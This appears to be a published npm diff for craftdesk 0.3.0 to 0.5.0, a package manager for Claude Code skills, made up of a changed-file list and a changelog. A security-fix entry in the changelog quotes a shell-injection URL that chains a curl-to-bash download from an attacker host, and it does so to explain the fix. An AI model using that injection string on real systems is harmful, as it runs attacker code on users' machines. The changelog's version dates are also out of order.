craftdesk 0.3.0 → 0.5.0
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/CHANGELOG.md +88 -0
- package/README.md +1609 -132
- package/dist/commands/add.d.ts +5 -0
- package/dist/commands/add.d.ts.map +1 -1
- package/dist/commands/add.js +306 -8
- package/dist/commands/add.js.map +1 -1
- package/dist/commands/convert.d.ts +8 -0
- package/dist/commands/convert.d.ts.map +1 -0
- package/dist/commands/convert.js +146 -0
- package/dist/commands/convert.js.map +1 -0
- package/dist/commands/detect-agents.d.ts +14 -0
- package/dist/commands/detect-agents.d.ts.map +1 -0
- package/dist/commands/detect-agents.js +86 -0
- package/dist/commands/detect-agents.js.map +1 -0
- package/dist/commands/embed.d.ts +14 -0
- package/dist/commands/embed.d.ts.map +1 -0
- package/dist/commands/embed.js +147 -0
- package/dist/commands/embed.js.map +1 -0
- package/dist/commands/info.d.ts +8 -0
- package/dist/commands/info.d.ts.map +1 -0
- package/dist/commands/info.js +66 -0
- package/dist/commands/info.js.map +1 -0
- package/dist/commands/init.d.ts +5 -0
- package/dist/commands/init.d.ts.map +1 -1
- package/dist/commands/init.js +8 -2
- package/dist/commands/init.js.map +1 -1
- package/dist/commands/install.d.ts +5 -0
- package/dist/commands/install.d.ts.map +1 -1
- package/dist/commands/install.js +24 -4
- package/dist/commands/install.js.map +1 -1
- package/dist/commands/list.d.ts +5 -0
- package/dist/commands/list.d.ts.map +1 -1
- package/dist/commands/list.js +75 -7
- package/dist/commands/list.js.map +1 -1
- package/dist/commands/login.d.ts +8 -0
- package/dist/commands/login.d.ts.map +1 -0
- package/dist/commands/login.js +158 -0
- package/dist/commands/login.js.map +1 -0
- package/dist/commands/logout.d.ts +8 -0
- package/dist/commands/logout.d.ts.map +1 -0
- package/dist/commands/logout.js +51 -0
- package/dist/commands/logout.js.map +1 -0
- package/dist/commands/outdated.d.ts +23 -0
- package/dist/commands/outdated.d.ts.map +1 -0
- package/dist/commands/outdated.js +268 -0
- package/dist/commands/outdated.js.map +1 -0
- package/dist/commands/publish.d.ts +8 -0
- package/dist/commands/publish.d.ts.map +1 -0
- package/dist/commands/publish.js +203 -0
- package/dist/commands/publish.js.map +1 -0
- package/dist/commands/remove.d.ts +5 -0
- package/dist/commands/remove.d.ts.map +1 -1
- package/dist/commands/remove.js +51 -10
- package/dist/commands/remove.js.map +1 -1
- package/dist/commands/search.d.ts +8 -0
- package/dist/commands/search.d.ts.map +1 -0
- package/dist/commands/search.js +60 -0
- package/dist/commands/search.js.map +1 -0
- package/dist/commands/setup-multi-agent.d.ts +17 -0
- package/dist/commands/setup-multi-agent.d.ts.map +1 -0
- package/dist/commands/setup-multi-agent.js +188 -0
- package/dist/commands/setup-multi-agent.js.map +1 -0
- package/dist/commands/sync.d.ts +14 -0
- package/dist/commands/sync.d.ts.map +1 -0
- package/dist/commands/sync.js +144 -0
- package/dist/commands/sync.js.map +1 -0
- package/dist/commands/unembed.d.ts +14 -0
- package/dist/commands/unembed.d.ts.map +1 -0
- package/dist/commands/unembed.js +96 -0
- package/dist/commands/unembed.js.map +1 -0
- package/dist/commands/update.d.ts +8 -0
- package/dist/commands/update.d.ts.map +1 -0
- package/dist/commands/update.js +372 -0
- package/dist/commands/update.js.map +1 -0
- package/dist/commands/verify.d.ts +14 -0
- package/dist/commands/verify.d.ts.map +1 -0
- package/dist/commands/verify.js +143 -0
- package/dist/commands/verify.js.map +1 -0
- package/dist/commands/whoami.d.ts +8 -0
- package/dist/commands/whoami.d.ts.map +1 -0
- package/dist/commands/whoami.js +58 -0
- package/dist/commands/whoami.js.map +1 -0
- package/dist/converters/base-converter.d.ts +89 -0
- package/dist/converters/base-converter.d.ts.map +1 -0
- package/dist/converters/base-converter.js +249 -0
- package/dist/converters/base-converter.js.map +1 -0
- package/dist/converters/continue-converter.d.ts +53 -0
- package/dist/converters/continue-converter.d.ts.map +1 -0
- package/dist/converters/continue-converter.js +243 -0
- package/dist/converters/continue-converter.js.map +1 -0
- package/dist/converters/cursor-converter.d.ts +70 -0
- package/dist/converters/cursor-converter.d.ts.map +1 -0
- package/dist/converters/cursor-converter.js +272 -0
- package/dist/converters/cursor-converter.js.map +1 -0
- package/dist/index.js +56 -3
- package/dist/index.js.map +1 -1
- package/dist/services/agent-detector.d.ts +57 -0
- package/dist/services/agent-detector.d.ts.map +1 -0
- package/dist/services/agent-detector.js +146 -0
- package/dist/services/agent-detector.js.map +1 -0
- package/dist/services/config-manager.d.ts +128 -10
- package/dist/services/config-manager.d.ts.map +1 -1
- package/dist/services/config-manager.js +190 -18
- package/dist/services/config-manager.js.map +1 -1
- package/dist/services/converter.d.ts +53 -0
- package/dist/services/converter.d.ts.map +1 -0
- package/dist/services/converter.js +185 -0
- package/dist/services/converter.js.map +1 -0
- package/dist/services/craft-wrapper.d.ts +108 -0
- package/dist/services/craft-wrapper.d.ts.map +1 -0
- package/dist/services/craft-wrapper.js +268 -0
- package/dist/services/craft-wrapper.js.map +1 -0
- package/dist/services/git-resolver.d.ts +9 -3
- package/dist/services/git-resolver.d.ts.map +1 -1
- package/dist/services/git-resolver.js +44 -20
- package/dist/services/git-resolver.js.map +1 -1
- package/dist/services/gitignore-manager.d.ts +74 -0
- package/dist/services/gitignore-manager.d.ts.map +1 -0
- package/dist/services/gitignore-manager.js +188 -0
- package/dist/services/gitignore-manager.js.map +1 -0
- package/dist/services/installer.d.ts +60 -1
- package/dist/services/installer.d.ts.map +1 -1
- package/dist/services/installer.js +295 -20
- package/dist/services/installer.js.map +1 -1
- package/dist/services/multi-agent-sync.d.ts +88 -0
- package/dist/services/multi-agent-sync.d.ts.map +1 -0
- package/dist/services/multi-agent-sync.js +316 -0
- package/dist/services/multi-agent-sync.js.map +1 -0
- package/dist/services/plugin-resolver.d.ts +80 -0
- package/dist/services/plugin-resolver.d.ts.map +1 -0
- package/dist/services/plugin-resolver.js +183 -0
- package/dist/services/plugin-resolver.js.map +1 -0
- package/dist/services/registry-client.d.ts +132 -5
- package/dist/services/registry-client.d.ts.map +1 -1
- package/dist/services/registry-client.js +239 -34
- package/dist/services/registry-client.js.map +1 -1
- package/dist/services/settings-manager.d.ts +151 -0
- package/dist/services/settings-manager.d.ts.map +1 -0
- package/dist/services/settings-manager.js +333 -0
- package/dist/services/settings-manager.js.map +1 -0
- package/dist/types/claude-settings.d.ts +155 -0
- package/dist/types/claude-settings.d.ts.map +1 -0
- package/dist/types/claude-settings.js +20 -0
- package/dist/types/claude-settings.js.map +1 -0
- package/dist/types/converter.d.ts +98 -0
- package/dist/types/converter.d.ts.map +1 -0
- package/dist/types/converter.js +6 -0
- package/dist/types/converter.js.map +1 -0
- package/dist/types/craftdesk-json.d.ts +76 -3
- package/dist/types/craftdesk-json.d.ts.map +1 -1
- package/dist/types/craftdesk-lock.d.ts +62 -1
- package/dist/types/craftdesk-lock.d.ts.map +1 -1
- package/dist/types/multi-agent.d.ts +85 -0
- package/dist/types/multi-agent.d.ts.map +1 -0
- package/dist/types/multi-agent.js +6 -0
- package/dist/types/multi-agent.js.map +1 -0
- package/dist/utils/crypto.d.ts +23 -0
- package/dist/utils/crypto.d.ts.map +1 -0
- package/dist/utils/crypto.js +52 -0
- package/dist/utils/crypto.js.map +1 -0
- package/dist/utils/file-system.d.ts +43 -0
- package/dist/utils/file-system.d.ts.map +1 -1
- package/dist/utils/file-system.js +45 -2
- package/dist/utils/file-system.js.map +1 -1
- package/dist/utils/logger.d.ts +75 -0
- package/dist/utils/logger.d.ts.map +1 -1
- package/dist/utils/logger.js +76 -1
- package/dist/utils/logger.js.map +1 -1
- package/dist/utils/version-utils.d.ts +63 -0
- package/dist/utils/version-utils.d.ts.map +1 -0
- package/dist/utils/version-utils.js +130 -0
- package/dist/utils/version-utils.js.map +1 -0
- package/package.json +36 -9
- package/.claude/settings.local.json +0 -19
- package/.github/workflows/ci.yml +0 -94
- package/API.md +0 -414
- package/TESTING.md +0 -263
- package/dist/commands/config.d.ts +0 -3
- package/dist/commands/config.d.ts.map +0 -1
- package/dist/commands/config.js +0 -56
- package/dist/commands/config.js.map +0 -1
- package/dist/types/config.d.ts +0 -17
- package/dist/types/config.d.ts.map +0 -1
- package/dist/types/config.js +0 -3
- package/dist/types/config.js.map +0 -1
- package/docs/DEPENDENCY_RESOLUTION.md +0 -237
- package/examples/craftdesk-all-sources.json +0 -79
- package/examples/craftdesk-git-monorepo.json +0 -41
- package/examples/craftdesk-multi-registry.json +0 -40
- package/examples/craftdesk-with-registries.json +0 -49
- package/examples/simple-craftdesk.json +0 -10
- package/src/commands/add.ts +0 -314
- package/src/commands/init.ts +0 -55
- package/src/commands/install.ts +0 -126
- package/src/commands/list.ts +0 -126
- package/src/commands/remove.ts +0 -82
- package/src/index.ts +0 -56
- package/src/services/config-manager.ts +0 -150
- package/src/services/git-resolver.ts +0 -373
- package/src/services/installer.ts +0 -314
- package/src/services/registry-client.ts +0 -163
- package/src/types/craftdesk-json.ts +0 -53
- package/src/types/craftdesk-lock.ts +0 -38
- package/src/utils/file-system.ts +0 -55
- package/src/utils/logger.ts +0 -82
- package/tests/fixtures/craftdesk-git.json +0 -17
- package/tests/fixtures/craftdesk.json +0 -15
- package/tests/helpers/test-utils.ts +0 -60
- package/tests/integration/init-command.test.ts +0 -70
- package/tests/integration/list-command.test.ts +0 -77
- package/tests/unit/config-manager.test.ts +0 -228
- package/tests/unit/git-resolver.test.ts +0 -303
- package/tests/unit/installer.test.ts +0 -105
- package/tsconfig.json +0 -20
- package/vitest.config.ts +0 -29
package/CHANGELOG.md
ADDED
|
@@ -0,0 +1,88 @@
|
|
|
1
|
+
# Changelog
|
|
2
|
+
|
|
3
|
+
All notable changes to this project will be documented in this file.
|
|
4
|
+
|
|
5
|
+
## 0.5.0 (2025-02-09)
|
|
6
|
+
|
|
7
|
+
### Added
|
|
8
|
+
- **Multi-Agent Sync**: Sync skills across multiple AI coding assistants
|
|
9
|
+
- Auto-detect AI agents (Claude Code, Cursor, Windsurf, Continue.dev, etc.)
|
|
10
|
+
- Configure canonical location and sync targets in craftdesk.json
|
|
11
|
+
- Checksum-based verification to detect drift between copies
|
|
12
|
+
- New commands:
|
|
13
|
+
- `craftdesk setup-multi-agent` - Interactive multi-agent configuration
|
|
14
|
+
- `craftdesk detect-agents` - Detect installed AI coding assistants
|
|
15
|
+
- `craftdesk sync` - Sync crafts to all configured agents
|
|
16
|
+
- `craftdesk verify` - Verify sync status with checksum validation
|
|
17
|
+
- Auto-sync on install when enabled
|
|
18
|
+
- Support for copy-based sync (no symlinks, Windows-compatible)
|
|
19
|
+
- Comprehensive test coverage (unit + integration tests)
|
|
20
|
+
|
|
21
|
+
- **Embedded/Local Skills**: Hybrid skill management with committed and managed skills
|
|
22
|
+
- Support for project-specific skills committed to git alongside managed dependencies
|
|
23
|
+
- New commands:
|
|
24
|
+
- `craftdesk embed <name>` - Register a local skill as embedded (committed to git)
|
|
25
|
+
- `craftdesk unembed <name>` - Unregister an embedded skill (with optional `--remove` flag)
|
|
26
|
+
- Auto-generated `.claude/skills/.gitignore` to ignore managed skills and allow embedded ones
|
|
27
|
+
- Orphan detection for skills not tracked in either craftdesk.json or craftdesk.lock
|
|
28
|
+
- Integration with multi-agent sync (embedded skills auto-sync to other agents)
|
|
29
|
+
- List command shows 📌 badge for embedded skills
|
|
30
|
+
- Complete documentation with workflows and best practices
|
|
31
|
+
- 42 comprehensive tests (unit + integration + service)
|
|
32
|
+
|
|
33
|
+
### Fixed
|
|
34
|
+
- **Security**: Fixed shell injection vulnerability in git operations where malicious dependency URLs could execute arbitrary commands (e.g., `https://evil.com/repo.git; curl https://evil.com/steal.sh | bash`). Replaced `execSync()` with `execFileSync()` to prevent shell interpretation of metacharacters in git URLs, branch names, tag names, and commit hashes. Thanks to @ysamlan for the fix! [#40](https://github.com/mensfeld/craftdesk/pull/40)
|
|
35
|
+
|
|
36
|
+
## 0.4.0 (2026-01-26)
|
|
37
|
+
|
|
38
|
+
### Added
|
|
39
|
+
- Added `collection` craft type for grouping related crafts together
|
|
40
|
+
- Collections are automatically detected from `COLLECTION.md` marker files
|
|
41
|
+
- Collections are installed in `.claude/collections/` directory
|
|
42
|
+
- Type inference now supports collection detection from filenames and directory names
|
|
43
|
+
- Comprehensive integration tests for collection functionality
|
|
44
|
+
- Detailed README documentation explaining how collections work
|
|
45
|
+
- **Format Conversion System**: Convert CraftDesk crafts to other AI editor formats
|
|
46
|
+
- Convert to Cursor .mdc format (modern) and .cursorrules (legacy)
|
|
47
|
+
- Convert to Continue.dev prompt and rule formats
|
|
48
|
+
- Automatic language-specific glob inference for Cursor
|
|
49
|
+
- Batch conversion of all installed crafts with `--all` flag
|
|
50
|
+
- Merge modes: overwrite, append, skip for existing files
|
|
51
|
+
- `craftdesk convert` command with comprehensive CLI options
|
|
52
|
+
- Base converter architecture for easy addition of new formats
|
|
53
|
+
- **Automated NPM Publishing**: GitHub Actions workflow for releases
|
|
54
|
+
- Publishes to NPM automatically when creating GitHub releases
|
|
55
|
+
- NPM provenance support (OIDC attestation for supply chain security)
|
|
56
|
+
- Release automation script (`scripts/release.sh`)
|
|
57
|
+
- Complete publishing guide (NPM_PUBLISHING_GUIDE.md)
|
|
58
|
+
|
|
59
|
+
### Changed
|
|
60
|
+
- Updated type definitions to include `collection` in all craft type unions
|
|
61
|
+
- Enhanced `getTypeDirectory()` to return `collections` for collection type
|
|
62
|
+
- Improved craft type inference to prioritize collection detection
|
|
63
|
+
- **Improved Type Safety**: Eliminated all TypeScript `any` type warnings
|
|
64
|
+
- Added typed option interfaces for all commands
|
|
65
|
+
- Replaced `any` parameters with proper TypeScript types
|
|
66
|
+
- Standardized error handling with proper type checking
|
|
67
|
+
- Fixed service layer types (LockEntry, DependencyConfig, etc.)
|
|
68
|
+
|
|
69
|
+
### Documentation
|
|
70
|
+
- Significantly enhanced Monorepo Support section in README
|
|
71
|
+
- Added comprehensive examples of GitHub URL auto-conversion
|
|
72
|
+
- Documented all git URL syntax variations (#path:, #file:, etc.)
|
|
73
|
+
- Added real-world monorepo examples and use cases
|
|
74
|
+
- Clarified lockfile tracking for monorepo subdirectories
|
|
75
|
+
- Added Format Conversion section with examples and use cases
|
|
76
|
+
- Documented all supported target formats and their characteristics
|
|
77
|
+
- Updated Publishing section with automated workflow instructions
|
|
78
|
+
|
|
79
|
+
## 0.3.0 (2025-11-18)
|
|
80
|
+
|
|
81
|
+
### Initial Release
|
|
82
|
+
- Package manager for Claude Code skills, agents, commands, hooks, and plugins
|
|
83
|
+
- Git dependency support with monorepo subdirectory extraction
|
|
84
|
+
- Lockfile-based reproducible installations
|
|
85
|
+
- Plugin system with automatic dependency resolution
|
|
86
|
+
- Auto-conversion of GitHub URLs
|
|
87
|
+
- Settings integration with `.claude/settings.json`
|
|
88
|
+
- MCP server support
|